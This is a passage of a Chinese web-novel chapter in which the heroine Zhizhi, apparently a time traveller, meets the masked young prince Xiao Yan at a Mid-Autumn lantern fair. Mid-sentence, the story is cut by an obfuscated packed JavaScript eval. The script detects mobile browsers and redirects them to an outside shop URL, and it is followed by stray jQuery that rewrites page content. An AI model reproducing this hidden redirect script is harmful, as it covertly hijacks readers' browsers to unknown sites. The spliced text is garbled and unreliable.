枝枝眼眶红红的,望着阔别已久的靖王府,仿佛忘记了时间的流逝。
门口的侍卫见她站在那儿不走,走过来驱赶:“去去去,什么人?王府门前不许逗留!”
枝枝这才回过神来,自己是关心则乱了,若是现在贸然行事,只怕会惹出事端来。
思及此,她跟侍卫打了个哈哈,连忙往后退了几步。
退至街边的树下,她抬头看了眼渐暗的天色,瞧见不远处挂起了盏盏精致的灯笼。
中秋夜的灯会,快要开始了。
她笑了笑,心也缓缓浮现出几展明灯。
……
萧衍从宫中出来的时候,夜已经深了。
身后是巍峨的宫门,灯火辉煌,宴乐之声还未散去,这中秋之夜,像是这些勋贵之间,一场不死不休的狂欢。
片刻前,觥筹交错之际,皇兄笑眯眯地朝他举杯:“皇弟,中秋之夜,共饮此杯。”
这是皇兄登基后的第一个中秋,他脸上的得意之色掩藏不住。
萧衍笑着应了,一饮而尽。
酒是甜的,可咽下去之后,嘴里只剩苦味。
中秋,是阖家团圆的日子,可对他这样一个失去双亲的人来说,何来欢喜?
皇兄又笑着留他宿在宫中,说“夜深了,宫门已闭,不如就在偏殿歇下”。他婉拒了,说府中还有事。皇兄没有强留,只是意味深长的对着他笑了笑。
萧衍明白,胜利者向来如此,失意者有没有命来对月感伤,又是另外一回事了。
可不管地上的人生如何代代无穷已,天上的圆月却年年望相似。
他站在宫门外的台阶上,回头望了一眼,那宫道上的青石板路在月光下泛着清冷的光,一直延伸进无边的夜色里。
而前方不远处,御街上的风从街巷深处吹来,带着桂花香、烟火气,还有一丝丝凉意。他忽然觉得胸腔里那口憋了一整晚的浊气,终于吐出来了一些。
他转头对身后的南风说:“先不回府。你们也回去吧,今夜放你们的假,去找你哥团圆吧。”
南风面露难色:“殿下,属下职责是保护您……”
萧衍勾了勾唇,那笑容在月光下显得有些落寞,却又带着几分少年人的意气。“我的武功你还不知道?寻常人近不了我的身。去吧,难得中秋。”
南风犹豫了片刻,终于抱拳:“属下告退。殿下保重。”
他转身离去,走了几步又回头看了一眼。
萧衍想起府里那个怯生生的爱哭的小姑娘。林婉从边关来,举目无亲,孤零零的一个人。这样的夜晚,她一定也害怕吧。他对南风的背影又喊了一句:“阿婉没见过这样的景象,找个侍女护送她逛逛。别让她一个人待着。”
南风远远地应了一声“是”,便消失在夜色之中。
萧衍转过身,走进了热闹的人群中。
街上人很多,平常被生活中那些烦恼压得喘不过气的大人,像是找到了抒发的方式,扬起一个个真心的笑容,而向来没心没肺的孩子们则举着糖葫芦和兔子灯,在人群中钻来钻去,像一条条滑溜的鱼。
小贩的吆喝声此起彼伏,卖糖葫芦的,卖桂花糕的,卖面具的,卖花灯的,一个比一个嗓门大。
萧衍走到一个面具摊前,停下了脚步。
摊子不大,木架子上挂满了各式各样的面具,有笑面佛的,有孙悟空的,还有几个画着鬼脸的,青面獠牙,瞧着怪吓人的。
萧衍的目光被一张面具吸引了。
那是一张很普通的面具,没什么特别的花纹,也没什么夸张的造型。
就是一张平凡的脸,那张脸眉目清秀,唇角微微上扬,带着几分似笑非笑的意味。他拿起那张面具,翻来覆去地看了看。小贩连忙凑上来:“公子好眼光!这是新到的货,江南来的,做工可精细了!您戴上试试?”
萧衍犹豫了一下,把面具覆在脸上。
那一刹那,他忽然浑身一颤。
他透过面具两个小小的眼洞往外看,世界还是那个世界,灯笼、人群、小贩、圆月。
可又好像不一样了。
如此一来,他就像一滴水落进了河里。没有人认得他,没有人给他行礼,他只是这万千人中的一个普通少年,可以随意地做他想做的事情。
戴上面具,其实是摘下了心里的面具。
他在面具后面,无声地笑了。
“这个多少钱?”他问。
小贩报了价,他摸出一块碎银扔过去,说不用找了。小贩喜笑颜开,连声道谢。
萧衍把面具戴好,转过身,继续往前走。走了几步,他忽然停下来,回头对小贩说:“这面具,很好看,谢谢你。”
小贩愣了一下,连忙弯腰鞠躬:“多谢公子!公子慢走!”
萧衍浑身轻松地走在街上,他长这么大,还是第一次这样走在人群里。小时候有母妃陪着,出宫也是前呼后拥,走一步都有侍卫清道。后来母妃没了,周围的一切突然变得危机四伏起来,他更出不去了。
他摇摇头,把这些烦人的尔虞我诈抛诸脑后,大步走进了人群中。
可是人实在太多了,他没有注意到,身后一直跟着他的那个娇小的身影,一次次穿过如山如海的人群,向他靠近。
萧衍继续走走停停,最后被一个猜灯谜的摊子吸引了目光。
摊主是个留着山羊胡的老先生,笑得和蔼。他面前的架子上挂满了花灯,每盏灯下面都垂着一张红纸条,上面写着谜面。
周围围了不少人,有的抓耳挠腮,有的交头接耳,有的恍然大悟拍手叫好。
萧衍站在人群外围,仰头看着那些灯谜。
他从小饱读诗书,师从大楚最博学的先生,这些谜语对他来说不难,可他不想猜。他只是站在那里,看着那些人猜。看着他们皱眉、苦想、争论、然后一起笑。他觉得很有意思。
“这个我知道!是‘一’字!”
一道清脆的声音从旁边传来,可如果细细听去,会发现那里面有着藏不住的细微的颤抖。
萧衍侧过头,看见一个姑娘正踮着脚尖,指着最上面那盏灯。
她穿着一件半旧的蓝色衣裳,头上戴着一只兔子面具,两只长耳朵竖着,一颤一颤的。她个子不高,踮着脚也够不着那盏灯,就使劲往上蹦,像一只真的兔子。
摊主老先生笑眯眯地问:“姑娘确定?猜错了可是要罚的哦。”
那姑娘把胸脯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426323|198067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拍得砰砰响:“确定!就是‘一’字!谜面是‘春雨绵绵妻独宿’,春雨绵绵,就是没有‘日’;妻独宿,就是没有‘夫’。‘春’字去了‘日’去了‘夫’,可不就是‘一’字嘛!”
老先生捋着胡须,哈哈笑起来:“姑娘好才思!这盏灯归你了!”
见那姑娘高兴得差点跳起来,眼睛都弯成了月牙,萧衍眼眸微亮,像是也感染了这份喜悦。
她转身,目光忽然扫过人群,停在他那张清秀的面具上,像是透过面具,瞧见了他那张俊朗的脸,那张……令她日思夜想的脸庞。
萧衍也看见了她面具后面的眼睛。
圆圆的杏眼像藏了两颗星星。可此刻,那两颗星星上蒙着一层薄薄的水雾,亮得有些不真实。
她就那么看着他,隔着那些来来往往的身影,一动不动地看着他。
那目光令他呆愣在原地。
来来往往的人群中,他们无声对望,周遭的一切就这样变成了流动的背景。
可这是他初次见她。
他想了又想,在脑海中翻遍了所有记忆,才有些失望的确认,他从未见过她。
这双悲伤的眸子,是为他而停留吗?
萧衍有些不自在地移开了目光,那姑娘却忽然朝他走过来了。
她走得很慢,一步一步,像是跨越了很远的距离和时间。
周围的人潮来来往往,她像一条逆流而上的鱼,被推来搡去,可她始终朝着他的方向。
她在离他几步远的地方停下来,抱着那盏兔子灯,仰着头,久久凝视着他那张隔世的面具。
“姑娘?”萧衍清咳了一声,柔声开口。
他的声音不似她记忆中的那段深沉,带着些许少年的朝气。
枝枝汹涌的情绪瞬间决堤,她多想扑进他怀里,可是现在,他不认识她。他们之间,隔着一个时空的距离。
萧衍低头看着这个奇怪的姑娘,看她的嘴唇动了动,却什么都没说出来。只是眼眶终于盈不住那些湿润,眼角凝出一颗泪珠,顺着脸颊滑落下来。
萧衍心猛然一跳,竟生出些许慌乱来,这样一个不认识的女人,为何在他面前莫名其妙地哭了。
“你……”他有些迟疑地伸出手,“可是何人欺负你了?我替你……”
“没有。”枝枝摇了摇头,明白现在不是相认的最好时期。谢瞎子说很快时空就会修正,她应该待不了多久,还是不要告诉他那些复杂的东西了。
不过,她这个便宜夫君,对刚见面的女孩子倒是挺上心的嘛,不像第一次见她那会,就会装腔作势!
枝枝突然萌生出些许恼意,全然忘了此时这个刚见面的女孩子恰是她自己。
枝枝内心思索了一番,渐渐平复了心情,努力笑了笑,“没有人欺负我。我就是……看到这盏兔子灯,太高兴了。”
萧衍挑了挑眉,有些摸不着头脑,这高兴的也太夸张了。
但他没有戳破,神色也恢复如常:“姑娘才思敏捷,赢灯如探囊取物,在下佩服。”
枝枝往后退了一步,眨了眨眼,面具后的眼中闪过一丝狡黠:“只是那个最难的灯谜暂未破解,瞧这公子一身饱读诗书的气度,能否帮我这个忙?”